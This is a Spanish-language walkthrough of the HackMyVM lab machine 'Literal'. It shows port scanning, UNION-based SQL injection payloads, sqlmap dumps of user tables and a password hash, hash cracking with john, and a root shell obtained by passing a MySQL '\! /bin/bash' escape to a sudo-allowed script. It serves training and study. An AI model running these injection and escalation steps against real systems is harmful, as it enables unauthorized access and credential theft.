cd ~/blog

~/writeups/hmv/010-literal.md

010 - Literal

easy Linux hmv 02-11-2023
SQL Injection (UNION-based)Password hash crackingsudo Python script GTFOBins escape
hackmyvm.eu/machines/machine.php?vm=Literal

~1 min de lectura


Comenzamos con un escaneo general y uno específico de puertos:

 sudo nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.24
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-02 14:17 -03
Nmap scan report for 192.168.1.24
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 30:ca:55:94:68:33:8b:50:42:f4:c2:b5:13:99:66:fe (RSA)
|   256 2d:b0:5e:6b:96:bd:0b:e3:14:fb:e0:d0:58:84:50:85 (ECDSA)
|_  256 92:d9:2a:5d:6f:58:db:85:56:d6:0c:99:68:b8:59:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://blog.literal.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:B0:CA:E7 (Oracle VirtualBox virtual NIC)
Service Info: Host: blog.literal.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds

Agregamos el dominio al /etc/hosts:

192.168.1.24	blog.literal.hmv

El sitio es un blog. Lo fuzzeamos con gobuster:

 gobuster dir -u http://blog.literal.hmv/ -w ~/Documentos/git-clones/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/login.php            (Status: 200) [Size: 1893]
/register.php         (Status: 200) [Size: 2159]
/.php                 (Status: 403) [Size: 281]
/images               (Status: 301) [Size: 321] [--> http://blog.literal.hmv/images/]
/index.html           (Status: 200) [Size: 3325]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/fonts                (Status: 301) [Size: 320] [--> http://blog.literal.hmv/fonts/]
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]
...

El login permite registrarse, así que creamos un usuario e iniciamos sesión. En el dashboard hay un buscador de proyectos por texto, que probamos para SQL Injection con una inyección UNION:

> ' union select 1,2,3,4,5-- -

Nos muestra los números de columna, confirmando la inyección. Enumeramos las bases de datos:

> ' UNION SELECT schema_name,database(),3,4,5 FROM information_schema.schemata-- -

Identificamos las bases mysql, information_schema, performance_schema y blog. Listamos las tablas del schema blog:

> ' UNION SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5 FROM information_schema.tables WHERE table_schema='blog'-- -
projects
users

Y volcamos la tabla users:

> ' UNION SELECT * FROM users-- -

Tras formatear los datos con un script en Python, descubrimos un nuevo dominio forumtesting.literal.hmv, que añadimos al /etc/hosts. En esa web, el enlace de detalles del foro lleva a un parámetro vulnerable, que pasamos a sqlmap:

 sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -dbs
available databases [3]:
[*] forumtesting
[*] information_schema
[*] performance_schema

Enumeramos las tablas de forumtesting:

 sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting --tables
+----------------+
| forum_category |
| forum_owner    |
| forum_posts    |
| forum_topics   |
| forum_users    |
+----------------+

Y volcamos la tabla forum_owner, que contiene un hash:

 sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting -T forum_owner -dump
Database: forumtesting
Table: forum_owner
[1 entry]
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| id | email                           | created    | password                                                                                                                         | username |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| 1  | carlos@forumtesting.literal.htb | 2022-02-12 | 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99 | carlos   |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+

Crackeamos el hash SHA-512 con john:

 john -w:/home/wh01s17/Documentos/rockyou.txt hash --format=Raw-SHA512
...
forum100889      (?)
...

Observamos que la contraseña de SSH sigue el mismo patrón pero sustituyendo forum por ssh:

ssh100889

Con ello iniciamos sesión por SSH como carlos y obtenemos la primera flag. Continuamos con sudo -l:

carlos@literal:~$ sudo -l
Matching Defaults entries for carlos on literal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on literal:
    (root) NOPASSWD: /opt/my_things/blog/update_project_status.py *

Podemos ejecutar un script Python como root que lista parámetros vía MySQL. Según GTFOBins, podemos escapar a una shell pasando un comando con la sintaxis de escape de la consola MySQL:

'\! /bin/bash'
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! /bin/bash'

Al ejecutarlo obtenemos acceso root y capturamos la última bandera.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados